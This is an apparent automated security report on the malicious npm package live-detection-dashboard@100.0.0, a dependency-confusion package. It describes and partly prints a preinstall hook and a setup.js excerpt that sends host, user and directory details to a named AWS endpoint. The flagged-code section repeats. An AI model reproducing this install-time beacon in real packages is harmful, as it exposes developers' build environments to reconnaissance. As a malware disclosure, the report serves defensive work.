live-detection-dashboard@100.0.0: Malicious npm security report

AI Security Review

scanned 8d ago · by lpm-firewall-ai

An automatic installation hook sends identifying host and installation information to an external endpoint. This behavior is unrelated to the exported color utility and has no consent gate.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package activates its preinstall hook.

Impact

The external recipient receives the user's account name, hostname, project directory, and environment metadata.

Mechanism

setup.js gathers operating-system and process information, serializes it, and sends it through an HTTPS POST while suppressing errors.

Attack narrative

Installing the package automatically executes setup.js. The script collects identifying host and project information and sends it to a fixed external endpoint without an opt-in gate. Request errors and lifecycle failures are suppressed, allowing installation to continue quietly.

AI rationale

The source establishes automatic, unconsented export of identifying installation data unrelated to the package's color-generation functionality. This supports blocking for data exfiltration without claiming credential theft or remote execution.

Evidence

package.jsonsetup.js

Network endpoints1

s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-17434

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in live-detection-dashboard (npm)

Details

live-detection-dashboard is a dependency-confusion package: it takes a name that looks like an internal project, uses an inflated version (100.0.0) so it outranks private-registry versions, and runs `node setup.js || true` as a preinstall script on npm install. setup.js sends the hostname, username, working directory, OS, architecture, Node.js version and configured npm registry, with a per-package tracking token, in an HTTPS POST to `https://s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook`. The npm account amel10 published live-detection-dashboard and 9 similar packages within two minutes on 2026-09-30, all with the same setup.js. --- ## Source: amazon-inspector (5d6433d908aabd1002455fbed5a7afdf730c557f6c072fed817d76cad31a5ccb) The package's `preinstall` lifecycle script fires automatically on `npm install` and issues an HTTPS POST to the hardcoded endpoint https://s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook, carrying a JSON body composed of installer-side identifiers: os.hostname(), os.userInfo().username, process.cwd(), process.platform, process.arch, the Node.js version, and the configured npm registry, along with a static token. The advertised functionality of the package is a trivial random-hex helper, which does not require network activity or host/user identifiers, and the data flow is neither documented nor caller-configurable. The destination is an author-controlled AWS API Gateway. Package version 100.0.0 combined with a minimal declared purpose and an install-time beacon is consistent with a dependency-confusion / reconnaissance payload targeting internal build environments.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs setup.js before installation and suppresses failure.
setup.js collects the hostname, username, working directory, platform, architecture, Node version, and npm registry setting.
setup.js posts the collected data to a fixed AWS API endpoint and silently ignores request errors.

Evidence against

index.js only exports a random hexadecimal color generator.
No credential harvesting, remote code execution, or filesystem mutation was found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 792 B of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

setup.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

setup.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

setup.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

setup.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

setup.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = 8b5d7d95bec1fce5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = ai-workshop-maa15-radio@100.0.0 matchedPath = setup.js matchedIdentity = npm:YWktd29ya3Nob3AtbWFhMTUtcmFkaW8:100.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

setup.jsView on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

setup.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

setup.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

setup.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

setup.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

setup.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = 8b5d7d95bec1fce5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = ai-workshop-maa15-radio@100.0.0 matchedPath = setup.js matchedIdentity = npm:YWktd29ya3Nob3AtbWFhMTUtcmFkaW8:100.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

setup.jsView on unpkg

Findings

2 Critical5 High4 Medium1 Low

CriticalCredential Exfiltrationsetup.js

CriticalTrigger Reachable Dangerous Capabilitysetup.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationsetup.js

HighSandbox Evasion Gated Capabilitysetup.js

HighTrigger Reachable Credential Exfiltrationsetup.js

HighKnown Malware Source Fingerprint Signaturesetup.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code